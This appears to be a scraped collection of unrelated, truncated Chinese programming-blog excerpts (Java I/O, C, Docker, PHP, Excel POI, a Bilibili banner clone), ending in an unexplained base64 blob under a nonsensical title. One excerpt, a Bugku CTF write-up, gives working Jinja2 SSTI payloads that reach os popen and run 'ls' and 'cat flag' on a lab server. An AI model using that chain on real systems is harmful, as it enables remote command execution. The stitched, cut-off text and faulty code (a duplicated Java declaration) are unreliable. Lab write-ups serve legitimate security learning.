用FileReader方法从templefile文件中读取数据代码: import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; /* FileReader: 文件字符输入流,只能读取普通文本。 读取文本内容时,比较方便,快捷。 */ public class FileReaderTest { public static void main(String[] args) { FileReader reader = null; try { // 创建文件字符输入流 reader = new FileReader("tempfile"); //准备一个char数组 char[] chars = new char[4]; // 开始读 char[] chars = new char[4]; // 一次读取4个字符 int readCount = 0; while((readCount = reader.read(chars)) != -1) { System.out.print(new String(chars,0,readCount)); } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) {

一个巧妙的C语言函数

题目要求: 实现一个函数,保留一个实型数的两位小数,第三位小数四舍五入(规定实型数是正数) 代码: #include <stdio.h> //保留一个实型数的两位小数,第三位小数四舍五入(规定实型数是正数) float fun ( float h ) { //eg 1: //1234.567777890 //*1000:1234567.777890 //+5:1234572.777890 // /10:123457.2777890 t:123457 // /100:1234.57 //eg2: //345.123 //*1000:345123 +5:345128 // /10:34512 // /100:345.12 long t; //先让前三位小数升位到整数位,给第三位小数对应位+5,再/10 //然后舍去剩下的小数位 t=(h*1000+5)/10; //将t转换位float型,再除以100,就将前两位小数归位到对应的小数位 return (float)t/100; } int main( ) { float a; printf ("Enter a: "); scanf ( "%f", &a ); printf ( "The original data is : " ); printf ( "%f \n\n", a ); printf ( "

仿B站首页头部动画的实现

B站的前端样式一直是我学习和模仿的对象,特别是它的首页头部动画,可以随着鼠标的移动进行场景的变化,很酷,所以我对它进行了大体上的模仿 废话不多说,先看效果 仿B站首页动画演示 视频打不开点击这里 完整代码如下:这里将css、js、html代码整合到一块去了,大家也可以去码云自行下载 码云地址 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <style> * { margin: 0; padding: 0; } .bili-banner { margin: 0 auto; position: relative; z-index: 0; min-height: 155px; height: 9.375vw; min-width: 999px; background-color: pink; display: flex; justify-content: center; background-repeat: no-repeat; background-position: center 0; background-size: cover; } .animateds-banner { position: absolute; top: 0; bottom: 0; left: 0; right: 0; overflow: hidden; } .

Bugku解题 web (一)

Bugku解题 web 1 Simple_SSTI_22 Simple_SSTI_13.Flask_FileUpload4.web15.web26.web37.web48.web59. web610. web711.社工-初步收集 介绍:记录解题过程 1 Simple_SSTI_2 python模仿注入(SSTI) 通过以下语句拿到可用的类的列表 http://114.67.246.176:13299/?flag={{%22%22.__class__.__bases__[0].__subclasses__()}} 我们需要的是os命令执行类<class ‘os._wrap_close’> 利用逗号定位 我们可以先看一下我们索引的是否正确,输入url /?flag={{"".__class__.__bases__[0].__subclasses__()[127]}} 构造语句,并执行ls命令(对方是Linux服务器,所以要使用Linux命令 /?flag={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}} Dockerfile app.py flag gunicorn.conf.py templates 读flag /?flag={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat flag').read()}} flag{f325fff1f68aec4243a034f722d0833c} 2 Simple_SSTI_1 You need pass in a parameter named flag。 python模仿注入(SSTI) python模仿注入(SSTI) 首页查看源码 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Simple SSTI</title> </head> <body> You need pass in a parameter named flag。 <!-- You know, in the flask, We often set a secret_key variable.

Java基础知识之异常Exception

1、什么是异常,java提供异常处理机制有什么用? 以下程序执行过程中发生了不正常的情况,而这种不正常的情况叫做:异常 java语言是很完善的语言,提供了异常的处理方式,以下程序执行过程中出现了不正常情况, java把该异常信息打印输出到控制台,供程序员参考。程序员看到异常信息之后,可以对 程序进行修改,让程序更加的健壮。 什么是异常:程序执行过程中的不正常情况。 异常的作用:增强程序的健壮性。 2、以下程序执行控制台出现了: Exception in thread "main" java.lang.ArithmeticException: / by zero at com.bjpowernode.javase.exception.ExceptionTest01.main(ExceptionTest01.java:14) 这个信息被我们称为:异常信息。这个信息是JVM打印的。 3. 异常在java中以类的形式存在,每一个异常类都可以创建异常对象。 4.处理异常的第一种方式: 在方法声明的位置上使用throws关键字抛出,谁调用我这个方法,我就抛给谁。抛给调用者来处理。 这种处理异常的态度:上报。 处理异常的第二种方式: 使用try..catch语句对异常进行捕捉。 这个异常不会上报,自己把这个事儿处理了。 异常抛到此处为止,不再上抛了。 注意: 只要异常没有捕捉,采用上报的方式,此方法的后续代码不会执行。 另外需要注意,try语句块中的某一行出现异常,该行后面的代码不会执行。 try..catch捕捉异常之后,后续代码可以执行。 在以后的开发中,处理编译时异常,应该上报还是捕捉呢,怎么选? 如果希望调用者来处理,选择throws上报。 其它情况使用捕捉的方式。 5.深入try..catch 1、catch后面的小括号中的类型可以是具体的异常类型,也可以是该异常类型的父类型。 2、catch可以写多个。建议catch的时候,精确的一个一个处理。这样有利于程序的调试。 3、catch写多个的时候,从上到下,必须遵守从小到大。 6.异常对象的两个方法: String msg = e.getMessage(); e.printStackTrace(); // 一般都是使用这个。 我们以后查看异常的追踪信息,我们应该怎么看,可以快速的调试程序呢? 异常信息追踪信息,从上往下一行一行看。 但是需要注意的是:SUN写的代码就不用看了(看包名就知道是自己的还是SUN的。)。 主要的问题是出现在自己编写的代码上。 例如: /* java.io.FileNotFoundException: C:\jetns-agent.jar (系统找不到指定的文件。) at java.base/java.io.FileInputStream.open0(Native Method) at java.base/java.io.FileInputStream.open(FileInputStream.java:213) at java.base/java.io.FileInputStream.<init>(FileInputStream.java:155) at java.base/java.io.FileInputStream.<init>(FileInputStream.java:110) //sun的代码 at com.bjpowernode.javase.exception.ExceptionTest09.m3(ExceptionTest09.java:31) //自己代码出现的异常

C语言文件操作详解

C语言文件操作详解 目录 什么是文件文件名文件类型文件缓冲区文件的打开和关闭文件的顺序读写文件结束的判定 什么是文件 文件名 文件类型 文件缓冲区 文件的打开和关闭 文件的顺序读写 文件结束的判定 一、什么是文件 磁盘上的文件是文件。 但是在程序设计中,我们一般谈的文件有两种:程序文件、数据文件 程序文件 包括源程序文件(后缀为.c),目标文件(windows环境后缀为.obj),可执行程序(windows环境后缀 为.exe)。 数据文件 文件的内容不一定是程序,而是程序运行时读写的数据,比如程序运行需要从中读取数据的文件,或者输出内容的文件。 二、文件名 一个文件要有一个唯一的文件标识,以便用户识别和引用。 文件名包含3部分:文件路径+文件名主干+文件后缀。例如: c:\code\test.txt 为了方便起见,文件标识常被称为文件名。 三、文件类型 根据数据的组织形式,数据文件被称为文本文件或者二进制文件。 数据在内存中以二进制的形式存储,如果不加转换的输出到外存,就是二进制文件。 如果要求在外存上以ASCII码的形式存储,则需要在存储前转换。以ASCII字符的形式存储的文件就是文本文件。 一个数据在内存中是怎么存储的呢? 字符一律以ASCII形式存储,数值型数据既可以用ASCII形式存储,也可以使用二进制形式存储。 四、文件缓冲区 ANSIC 标准采用“缓冲文件系统”处理的数据文件的,所谓缓冲文件系统是指系统自动地在内存中为程序中每一个正在 使用的文件开辟一块“文件缓冲区”。从内存向磁盘输出数据会先送到内存中的缓冲区,装满缓冲区后才一起送到磁盘上。如果从磁盘向计算机读入数据,则从磁盘文件中读取数据输入到内存缓冲区(充满缓冲区),然后再从缓冲区逐个地将数据送到程序数据区(程序变量等)。缓冲区的大小根据C编译系统决定的。 五、文件的打开和关闭 文件在读写之前应该先打开文件,在使用结束之后应该关闭文件。在编写程序的时候,在打开文件的同时,都会返回一个FILE*的指针变量指向该文件,也相当于建立了指针和文件的关系 使用fopen函数来打开文件,fclose来关闭文件。 文件的打开方式如下: 例 #define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> #include <errno.h> #include <string.h> // int main() { // //fopen函数如果是以写的形式打开 // //如果文件不存在,会创建这个文件 // //如果文件存在,会清空文件的内容 // //fopen函数如果是以读的形式打开 // //文件不存在打开失败 // FILE* pf = fopen("data.txt", "w"); if (pf == NULL) { printf("

Java POI实现Excel导入导出

Java POI实现Excel导入导出 POI简介版本依赖excel常用类excel基本操作流程excel导出03版excel导入03版 导出excel工具类商品实体类excel导出工具类测试效果图 导入excel工具类excel导入工具类测试 POI 简介 Apache POI是Apache软件基金会的开放源码函式库,POI提供API给Java程序对Microsoft Office格式档案读和写的功能。POI为“Poor Obfuscation Implementation”的首字母缩写,意为“简洁版的模糊实现”。 版本依赖 本次使用的poi版本为 4.1.2,部分操作类和之前相比有一些变化。引入了两个jar,其中poi是操作03版及之前excel的(后缀为xls),poi-ooxml是处理07版及之后excel的(后缀为xlsx)。区别就是 xls也就是03版单个sheet的最大行数为65536,xlsx也就是07版之后单个sheet的最大行数为1048576。 <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>4.1.2</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>4.1.2</version> </dependency> excel常用类 Excel 03 工作簿: HSSFWorkbook 工作表: HSSFSheet 行 : HSSFRow 单元格: HSSFCell 单元格字体: HSSFFont 工作表头: HSSFHeader 工作表尾: HSSFFooter 单元格样式: HSSFCellStyle 日期工具类: HSSFDateUtil 日期格式: HSSFDataFormat Excel 07 工作簿: XSSFWorkbook 工作表: XSSFSheet 行 : XSSFRow 单元格: XSSFCell 单元格字体: XSSFFont 工作表头: XSSFHeader 工作表尾: XSSFFooter 单元格样式: XSSFCellStyle

php5与php7之间的区别

php5与php7之间的区别: 1、性能提升:PHP7比PHP5性能提升了两倍甚至更高 2、以前的许多致命错误,现在改成抛出异常。 3、PHP 7比PHP5移除了一些老的不在支持的SAPI(服务器端应用编程端口)和扩展。 4、PHP 7比PHP5新增了空接合操作符。 5、PHP 7比PHP5新增加了结合比较运算符。 6、PHP 7比PHP5新增加了函数的返回类型声明。 7、PHP 7比PHP5新增加了标量类型声明。 8、PHP 7比PHP5新增加匿名类。 9、完善错误处理和64位系统支持 如果您了解错误和异常之间的区别,那么您就会知道在PHP 5中处理致命错误非常不容易。PHP7简化了流程,因为它已用可以轻松处理的异常替换了几个主要错误。这是通过引入新的引擎异常对象实现的。 您可能已经知道,PHP 5不支持64位整数或大文件,但PHP 7中的情况已发生变化。PHP7具有64位支持,因此您也可以使用本机64位整数作为大文件,因此,您可以在64位系统体系结构上完美运行应用程序。 10、声明返回类型 在PHP 5中,程序员无法定义函数或方法的返回类型。在现实生活中,这是一个巨大的缺点,因为程序员无法防止意外的返回类型并在其他情况下生成异常。 幸运的是,PHP 7允许程序员根据期望的返回值声明函数的返回类型。这肯定会使代码健壮和准确。有四种不同的返回类型可用-bool,int,string和float。 为什么 PHP7 比 PHP5 性能提升了? 1、变量存储字节减小,减少内存占用,提升变量操作速度 2、改善数组结构,数组元素和hash映射表被分配在同一块内存里,降低了内存占用、提升了 cpu 缓存命中率 3、改进了函数的调用机制,通过优化参数传递的环节,减少了一些指令,提高执行效率

php使用情况,双冒号 ::在PHP中的使用情况,冒号php使用情况_PHP教程

双冒号 ::在PHP中的使用情况,冒号php使用情况 前几天在百度知道里面看到有人问PHP中双冒号::的用法,当时给他的回答比较简洁因为手机打字不大方便!今天突然想起来,所以在这里总结一下我遇到的双冒号::在PHP中使用的情况! 双冒号操作符即作用域限定操作符Scope Resolution Operator可以访问静态、const和类中重写的属性与方法。 在类定义外使用的话,使用类名调用。在PHP 5.3.0,可以使用变量代替类名。 Program List:用变量在类定义外部访问 Program List:在类定义外部使用:: 程序运行结果: Fruit Color Red Program List:调用parent方法 showColor(); ?> 程序运行结果: Fruit::showColor() Apple::showColor() Program List:使用作用域限定符 color; } } class Banana { public $color; public function __construct() { $this->color = "Banana is yellow"; } public function GetColor() { return Apple::showColor(); } } $banana = new Banana; echo $banana->GetColor(); ?> 程序运行结果: Banana is yellow Program List:调用基类的方法 程序运行结果: show color 以上内容给大家详解了::在PHP中的使用情况,希望大家喜欢。 http://www.bkjia.com/PHPjc/1068834.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/1068834.htmlTechArticle双冒号 ::在PHP中的使用情况,冒号php使用情况 前几天在百度知道里面看到有人问PHP中双冒号::的用法,当时给他的回答比较简洁因为手机打.

Dockerfile基础命令

Dockerfile基本命令 FROM - 基于基准镜像 FROM centos # 基于centos:latestFROM scratch # 不依赖任何基准镜像base imageFROM tomcat:9.0.22-jdk8-openjdk LABEL & MAINTAINER - 说明信息 MAINTAINER xxxx.com 机构&个人ID LABEL version=“1.0”LABEL description=“这是描述信息” WORKDIR - 设置工作目录 WORKDIR /usr/localWORKDIR /usr/local/newdir # 自动创建尽量使用绝对路径 ADD & COPY - 复制文件 ADD hello / # 复制到根目录ADD test.tar.gz / # 添加到根目录并解压ADD除了复制,还具备添加远程文件功能 ENV - 设置环境常量 ENV JAVA_HOME /usr/local/openjdk8RUN ${JAVA_HOME}/bin/java -jar test.jar尽量使用环境常量,可提高程序维护性 Dockerfile执行指令 RUN & CMD & ENTRYPOINT RUN:在Build构建时执行命令 RUN yum install -y vim # Shell 命令格式 会生成一个子shell进程 RUN [“yum”, “install”, “-y”, “vim”] # Exec命令格式 会用Exec进程替换当前进程,并且保持PID不变执行完毕,直接退出,并不会退回到之前的进程环境推荐使用Exec命令格式执行命令 ENTRYPOINT:容器启动时执行的命令

容器间的通信&容器间数据共享

容器间的通信 单向通信 # 运行一个名字是web的tomcat容器 并且链接到database容器,可以进入容器内直接ping database,可以在容器能查看到配置到了/etc/hosts的文件 docker run -d --name web --link database tomcat Bridge网桥双向通信 列出当前docker的网络服务明细 docker network ls 新建网桥 docker network create -d bridge my-bridge 将容器连接到网桥 docker network connect my-bridge web docker network connect my-bridge database 容器间数据共享 通过设置-v挂载宿主机目录 格式: docker run --name 容器名 -v 宿主机路径:容器内挂载路径 镜像名 通过–volumes-from共享容器内挂载点 创建共享容器 docker create --name webpage -v /webapps:/tomcat/webapps tomcat /bin/true 共享容器挂载点 docker run --volumes-from webpage --name t1 -d tomcat

Java基础知识之BigDecimal

BigDecimal 属于大数据,精度极高。不属于基本数据类型,属于java对象(引用数据类型) 这是SUN提供的一个类。专门用在财务软件当中。 关于数字的格式化。(了解) import java.text.DecimalFormat; // java.text.DecimalFormat专门负责数字格式化的。 //DecimalFormat df = new DecimalFormat("数字格式"); /* 数字格式有哪些? # 代表任意数字 , 代表千分位 . 代表小数点 0 代表不够时补0 ###,###.## 表示:加入千分位,保留2个小数。 */ DecimalFormat df = new DecimalFormat("###,###.##"); //String s = df.format(1234.56); String s = df.format(1234.561232); System.out.println(s); // "1,234.56" DecimalFormat df2 = new DecimalFormat("###,###.0000"); //保留4个小数位,不够补上0 String s2 = df2.format(1234.56); System.out.println(s2); // "1,234.5600"

http://www.doudou.com/index.php,www.moepan.me

HTTP/1.1 302 Found Date: Sun, 31 Mar 2019 08:17:34 GMT Server: Apache/2.4.34 (Win32) OpenSSL/1.1.0i PHP/7.2.9 X-Powered-By: PHP/7.2.9 Set-Cookie: KOD_SESSION_ID_50b1d=231jtn63391kgptrbogt13244u; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: KOD_SESSION_ID_50b1d=231jtn63391kgptrbogt13244u; path=/ Set-Cookie: KOD_SESSION_ID_50b1d=231jtn63391kgptrbogt13244u; path=/ Set-Cookie: KOD_SESSION_SSO=a2u8i2mpsefc514eqp1ssofrku; path=/ Set-Cookie: KOD_SESSION_ID_50b1d=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: kod_name=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Set-Cookie: kodToken=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0 Set-Cookie: X-CSRF-TOKEN=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

java开发用i5还是i7,i7比i5更强!为什么内行人都选i5而不选i7?看完瞬间懂了

i7比i5更强!为什么内行人都选i5而不选i7?看完瞬间懂了 2020-11-19 11:18:08 4点赞 0收藏 0评论 许多人认为i7比i5更好,那么有什么好呢?让我们先看一下区别。 i7使用四个物理核心,还配备了超线程技术,可以虚拟化为8个逻辑处理器。那i5呢?还有四个物理核心,但是没有超线程技能。另外,i7比i5多四个线程,并且L3缓存比另一个大2M。从这个角度来看,i7的性能确实比i5更好。正是因为如此,每个人都认为应该毫不犹豫地选择i7。 1.价格 要知道,i7和i5的主要市场不一样,前者侧重于高端,后者侧重于低端主流市场。然后就是价格有很大的差异,一般来说,相差近1000元。像更流行的i5-8500系列一样,价格在1700左右,而i7-8700系列则在2400左右。除了少数确实不差钱的人之外,大多数用户都有一定的预算。 700元的差额可用于购买图形卡,硬盘驱动器,甚至更便宜的显示器。 2.产品定位 如前所述,一个专注于高端,另一个专注于低端主流。我们必须承认,i7的性能确实在某种程度上优于i5。但是您需要知道的另一个事实是i5可以满足大多数用户的基本需求。对于在主流市场上推出的产品,其产品性能自然可以满足用户的主流需求。换句话说,i5可以满足您的基本需求,并且i7的性能超出了您的需求,也就是说,i7估计可以发挥i5的价值。 现在您知道了为什么i7比i5更好,但是那些知道如何做的人都选择了i5。由于i5可以满足我们的需求,为什么我们要花高价购买无法完全实现其价值的i7?最好利用这个价格差异来升级其他设备,以使性能提高更为实用。

Java基础知识之Date

知识点1:怎么获取系统当前时间 知识点2:String ---> Date 知识点3:Date ---> String // 获取系统当前时间(精确到毫秒的系统当前时间) // 直接调用无参数构造方法就行。 Date nowTime = new Date(); // java.util.Date类的toString()方法已经被重写了。 // 输出的应该不是一个对象的内存地址,应该是一个日期字符串。 //System.out.println(nowTime); //Thu Mar 05 10:51:06 CST 2020 // 日期可以格式化吗? // 将日期类型Date,按照指定的格式进行转换:Date --转换成具有一定格式的日期字符串-->String // SimpleDateFormat是java.text包下的。专门负责日期格式化的。 /* yyyy 年(年是4位) MM 月(月是2位) dd 日 HH 时 mm 分 ss 秒 SSS 毫秒(毫秒3位,最高999。1000毫秒代表1秒) 注意:在日期格式中,除了y M d H m s S这些字符不能随便写之外,剩下的符号格式自己随意组织。 */ SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss SSS"); //SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy");

php ojrqdmae cn,eDrawings

OzsgSFNGIFYxMi4wMCAKSQAAAABCAGhGzL3wp8a9j8J1vrHduT0WZAM+y6GFPlp42uy9CVwUR9Mw3rs7swcLLCCXgAgIAnLtLucCiwiIggcqgreIiiceoKgYldWojzFRYzRGTeKReF8xUXw82KDGeMQjxvu+jUeiMQYVUdl/V8/OsANiuN7f937fXxO7y2Go6qrurqquru7p1USA0I9maqUyLECpClQqm6R2y+owamBW9pgAVUggfoKfBasD8AuhamUIIn+KoTi/rU8x4v7oWrIQfs7C5Of5K7bu+SiqZI+22CcS3nPHzwRpewzI9I9b0NCRA7LzBma5ZQ/tn5uZmx80AtqQEZFhfG4Vurznz5qpjsL2E0uvFVCX3KyufpUk7K+e67h/dEFAwkRhiDR+1MhBQwcHKAVIFBwcJXBkX/houu+mj09JfM9FeZcM+O/yFb//fhkpMU1H/Lf/j9GaUTYfakJ0/8W1KDJEFx6J/43r/+JaFIWFg/pMRkO3ryyeEKuLTuwbXryz9YI9AEdI/aNNeT8UadmyVavcGMnArEGZedljfSS5WeOGZo0f4+sjy80alJWbNXJAFjwcNDJzRFa6ARmCEPLN8aFGZ44dwv3T10cygPCh9BGPGZKVNVbpQwMWpY8keCCRiY/UKJIxPrKhI8eMzcRolT6qwMCgqv9XEmLQmCGZuVkDg/qPGpiv9JGRakxef1Xqp0KEcupTeggEyoFDBw3KG5PlNmBU9qhcrU+uFoYT/HEbXAH250Bf34oWKOvfgvfl+/J9+b7831n6vlVBKisUpDIwXKNWhYbzFGR0HbR6rX9FxahhFVbD6norc1V9zUk1ctJEKIM1aiInNUtb+Rba7w3J+/J9+b58X74v35fvy/fl+/J9+b58X74v35fvy/fl+/J9+b58X74v35fvy/fl+/L/sS1AlZdpNk7l7Jy3/du3LYUoJPD19ZGojTkmkuzM/KzcAJUPBRt6WvgNSyimLB+NkCH9errCXSDwJT9VVvopYn/q62M+ZFR2ltuIzNzhWbljfOjMCUPHaPDvjM3MjZX55qRZo4FDM0dkjc0iYlDBxl6AwSxr4PiAgZljhmQNtDD9xxSquLjYN4fBEtEgWMIbBEtYtViCNTXHElotltBatCWkWixhoTXHElwtFk1ESFjIv2MRAxZ1aH3Fy6CplidVuLIWaKpnSqWqBRp1tWjUtWmNqmFao6weTXDN+1v9Tgmra9gYVfVTWxkRWmOeVO+Y22E1F40q/B2tqQWasIZBE9owaEIaBk21c0FVm0Gsqn7chGjClZqaolE1yARXKRtEm9e7MQRL9W0JrtH0ZtNBTUwpSQY1ZpSm6xASINQFG9upVgJiwwVQr9BZMRb9+LFjWiHkxYzIHDNmdO6o0WPSLosA1kYEhoRGKEPDg0PDQzWhYREhEf7jRmXnjchiBhH/h6Eh/tityMQ/CgnVhGiUoSEalToiPEyp9h+cmzkuY0DWSMxWxgRtAPyyShmuClOFaVSqYFVISLBSw3spn3lJGaYKDlFpIjDhYE2IMjycj2oikVGoKiw4OCxMqdGEqVRqlX/2BJaGGpMIVYeqQoLDgkODwyOC4Wf5RP2qw9VqZTi2lhG45SqNGn4C6DQaTXhwhEqtCVOGheHWR/iPnkB+QaMKV4eFh4cqg4PVmuBwjX92fgb8JDgkTBMWGqaKUIcHq1Wa8DD4AWk+fgs3PwJzqVZrQoKx7PBPJjLU1aHqCA22j5i0Sh0S7D8aWqUKDg8JCw1Rwi+EhilDMY2JhAbGFBEerFGFREREKENCVOHwg3wj8WBgArdYHawODYUfTGSYD8VCCceNCgsLw10UFqryHz2RENGoQjEvqnAsHPzL+FcmTCDPIzQh4RqlOiIYU1CHgBzZXggNDQ2OUKrDQlShuFW47fhnRir4/VAsqNBw3E0a/FcVgrmcUP3v5RsZxTyGhIXjxkSERUTgNuQTwSjxw2A8InDLw7EwQsJxKyZOqJ7SxPxqf4sRtIaIPjREHRysxDJV+Q9lmA3BownLAYsbz7FgDX7M8RqiiVDjQYV9oOAI3HD4GctrmDIEWq4Jw8Md/xSPtaEVvFb9PYbXkAisbdUhGnUIHlQhSvgdI6/qCCXuGjwIIlShETA6h3K8voUSy+tbfovllbCJx68S+10hav8RmXiSDM3M1nr8cODcL27RJ7af27ljXYyHr4+cyRp34+WW+yabqBZPRCapOlzpNio3zw0e+jMtCw4lT/pnZ44cniyH3xg9JHPk2FEjRpJfwT+v9CscEvIr/m/HW4eXkmVAfMCQzKEjkxqONCMERsEQtKpQdUhDoR0zdujYAUNckNpt9IRqZWoLb44dMnRkEC4GDHcjHH7egMJ1G52Zm5mdnZXt76YKDHUbnzV08JCx/m7AK6wtuV9lX6/6gzFZg0eAhAb6YfPRcohAIEhVLBeCYaFwYZbxkX5LvK++NHWA9kdvnf58ukzfPjwpxsqRmBuD8TAH1Mxf+CMQ40dSSiQQIoHE3Bxe2GCGzHCBqw0oVbGaw180dsGeuA5LtIAfw1EAm+CvoMDA8Af/ZhX8OvhfhxgoVbGMw4/brGXbj3nRVmo/i58tee0XIpGAxb/BTGemg/broP2fiVj8X/edWXTryecE/7g7o4o2+X9egZ+VSoWEeO0XiJCQlc9jS2SJC1w9xvgXcfgfzbAsErdaTPDbDLi1J/PaF3XCP16BFLjA1XiMfyKHX7gzS1/YK4Xgtz7ST29zM6nG/Yuxi1j8e+RIjgtc7cH4l3L4yx4N3+32O9N+DEcCXNP+NWm/zqDQKXCBKwP0L4cfyySKlQ+WVTRPPv/Sv6b4xwN+kI8O5PMNhx/3aTTbv7ivo3n9Wwv8jy11ljroXx307zgOv2Fevv7krjCCf1Fknv7CfmWd5K8G+avluFJj/Gs4/K1fFUYrX88n+AcIDkR/euHTOrV/ELR/kCWuBmH8Gzj8d+in0bKRnxD8Q6YYopWPZ9cJ/1ULnQUucHUV49/C4b+w3U4rSJ9B8A91cNF6TfmwTvi7Av6uFrjqivHncvih7bjdRYAf2o75KaqL/D1Av3mY4coD4/+hov37lVroY8CP+5n0cV3af8xcZ44LXB3D+HdUjP+bSVqYw4Afz2Myh+uCPx7wx5vjKh7j383hx/i0rH7AdLSV9EON8e+R6+Q60A860A97OPxYHlp2/GM5aSuN/xrjVwN+GP86GP+jOPww9vG4J/0LYx/Phzr17xIZkuECV0sw/v0V+B/P1rLjB48lbaXxU+P2e4B9gfGjg/FzkMOP26xl24950VZqf43xL5HpZDpovw7a/wuHH+sz0GsEP9ZzxIbVBb814LeW4coa45dQpvoZ62Qtq5+xrtbW1H6ZyF83C+z7LDQLilRFC679WCfosU4g+LGu0GNdoa1p+037d6MQCXGBq40YvweHH2QPfQD4QfbQB3XBv0SA1+1LBLgC+Tvx7DsrH7DvPPnUAv8sppgFRapiCocf5i6rH2Du8vRDLfyHeHNkjkA/INAPM3nyZ/UzyJ+nn2uBv6sFskCgnxHo52u88Q82jB3/YMNqOn959kusE+MCV2C/bvHmL9gwdv6CDasL/mu0jsYFrq5h/AM4/ODvgA8E+I1wJK9/USU61fQvkuL/mALj/53DD2MfbCTgh7EPNrIu7U+D9qfRuErD+Ofyxj/rP8D45/kPtejfQeDfgv+AQP6PefYFbBhrX8CG1aX9CZSOwgWuEjD+DA4/+IaggwA/+Iagg+oyv8ZLkAQXuAL/8CnP/gIPrP0FHuqi34pEOhEucFWE8T/n+Q9gI1n/AWxkXfAHA/5gEa6CMf4ynn/F6k8YOzz9WQv8G4U6oQ70pw70ZznPP4Q5xvqHMMfqgt8D8HsIcQX2UUiZ+resfgbdwNPPtcC/RKAT6EA/E/vYg2s/+P6wBgD84PvDGqAu4+cvMRLjAld/YfxiynR9ATaYXV+ADa5L+62h/dYCXIH9DeTaD74VO37At+KNn1q0P1iERAjGD4LxM5wnH9Z/APlU8h9q7F9Zg38F/gOC9jfn8INvxY4f8K1446cW7fcA+w7jh/jnJzj8YHvBBgN+sL1gg+vi/8yS6qS4wBXYX1defIDtX5ANr39r0X5r8B+gf4l8TpnaF62JfdHWxr6Yth9B+8G+kPjJbJ782fUdyJ+3vquF/r8K9h3WdwjWd9N445NdH8H45K2PaoH/GPgnsD5CsD4azNP/bP+C/q/UvzUen7PA9EL/Ev/qHG/8sPYFxk8l+1Jj+zVeopPowL6Q+MMlnn/O6h8YO5X0T43x/wX+D+gfHeifh7z1F9gYdv0FNqYu+I+D/T1O4eo4xv850W80jFv5Z9HLO83W9rvbSXv+yKJow8rZ2hxtcoyV21v610YH2Omp7E8EEqBDs4Rgi0vXCRRdL0GaQNcJ9RLoMLH/cMSyCuZoj84NjAZiC7fO0drFR0RzxCozo58KxOQ6duoZiWGpiDhiEdArAZJgiS4CBUiAmI4j1iT0aPQCy5l6IBZ29Nfo37+eoTchxp/ZToSzpAJm/L6dmDeEWFws3S113sjFEojN4IjZXE/SFn7ZjhDDtRb/u3pirQmx3e8kRsN6v0yO+adRmRyITeX1Ge4nPdtnuP+qJ8b0WdmUdxH7DjhbZbnBUvcdWkU4+5AjhsUG4isCYlicWizWomqJ7SDE7r6Ts9uwEr0guyrT3UYXZEBsJkds7gfBWqfFGYSz6IGh2n7mfavnLIIQW/9OYnNAjNPMZ5nr5qBp5kBsIa/P4C/bZ/D3rUPfdGq11rXWmRATAjWWWJkIzzGawhVGTwGxaRwxmGO4r4gYYY7hPqxejDQZ+o/eyVlPEGOKLE2m64lSiBgncMSw6PSsGLFI9TwxVp7UhwoYMVaa1KbEsOiw9p6DxYim4Qos0GSOGHDFjkbgijcaKxNjeCqb8i5iq2Ap8h0ejWgVroDYJI4Y1hhFWHMQYliTFGGNUj2xEkIs7p3EAiDuHqFQK1AAroDYBxyxtMtT9+xTzSPERo/vvaeD+7zqib0mxH6eyBEzIzqYEgmQSET2QQi9QqC3V7FHgQpxBfQmcvQwjSiWHqYdxaNXeYyIdAy9d42RvRA0L8TEdHsxYRgj+Rwx0MOsJEEP8yRZmZhcx0jyXcQigFgAliToYkJsCkdspZuzto97DiFmCGqivf3LqOqJBRBiCytG/1slqbOHiLHcwspCZ4/kFkBvPEcP09Cz9DBtPY9e5Z47VcDQe9cwkYN7ZI+JITmuoNtmccRwN8HwiAJiuPtI11Vr1SJnADFRhVV7O3P7wLDtkOyR6PahHcSw5Ys45rA7Bq6Ya16q9tZnOfr5+9wqC/O4mFP/cTHlBoNNXKWeMzXZaBWNaFzgahXAmNjXhJiYGZN7IC4CzIEfC+OTEPPEP3T557Y5X0FelcSWY6cu7OURzheRM74IojGTFOHQFn4jBwLyOWa4ygGYPMA6jOMSHNndZxDhUo+mkU2ASl0IXBodE8LlI/2/TL6tMPm2KnC1FWBMbwHP9GA9qWVND9af1TtCjOlJ173LEcqFFf1k0XiRLhdNFkEXruCkyu60GTVLFE+qiEj2qgRKptsQYqQqDuNWIIxUaQoMkEBEGaWqy4EwNUhVlwOwUaorOcIwNsHlBsLgFnMqpr7d+RK686UZrl4CTB6kKlZxhNm9P6PiJqqndhxDZE0qFiFKQAtZdu+DEbwvw9V9gBG6L4Pda44qKDZYAQNV8NI5JVdfdqfBdt40Oa6mAUwepCryOMKwJIPlGBAGxxM8qLp0sFBACCMBS3gBJIQvoHC1AJHBi4tUxTqOMLsHarTGxE+sv5z7gZz7yXDVD2CE+oGc13NUwQuFKCRQhYgP5wN4GqXLSNrlH1M5w/OXR+Df4jAju3jNQ1MiTJdl1wwcDzNzXJkBTB6kKsZyhCHcCR6p0TslW0kc4dvmwKapgQHCBsPLIyy7GIuRXSGFaI6qN+gJbwWuvAEmD1IVmziq7EYtUGWXGQ0yfc/DKv+8FFfnAcaClWLCmznCsI6BoQWEIXLHrWnqK+cFIOcF5rhaADB5kKrYyhFmt46B8Jc2Aq23SMfn2LmOHKcAxylSXKUAjFAKcPw9R/hmnI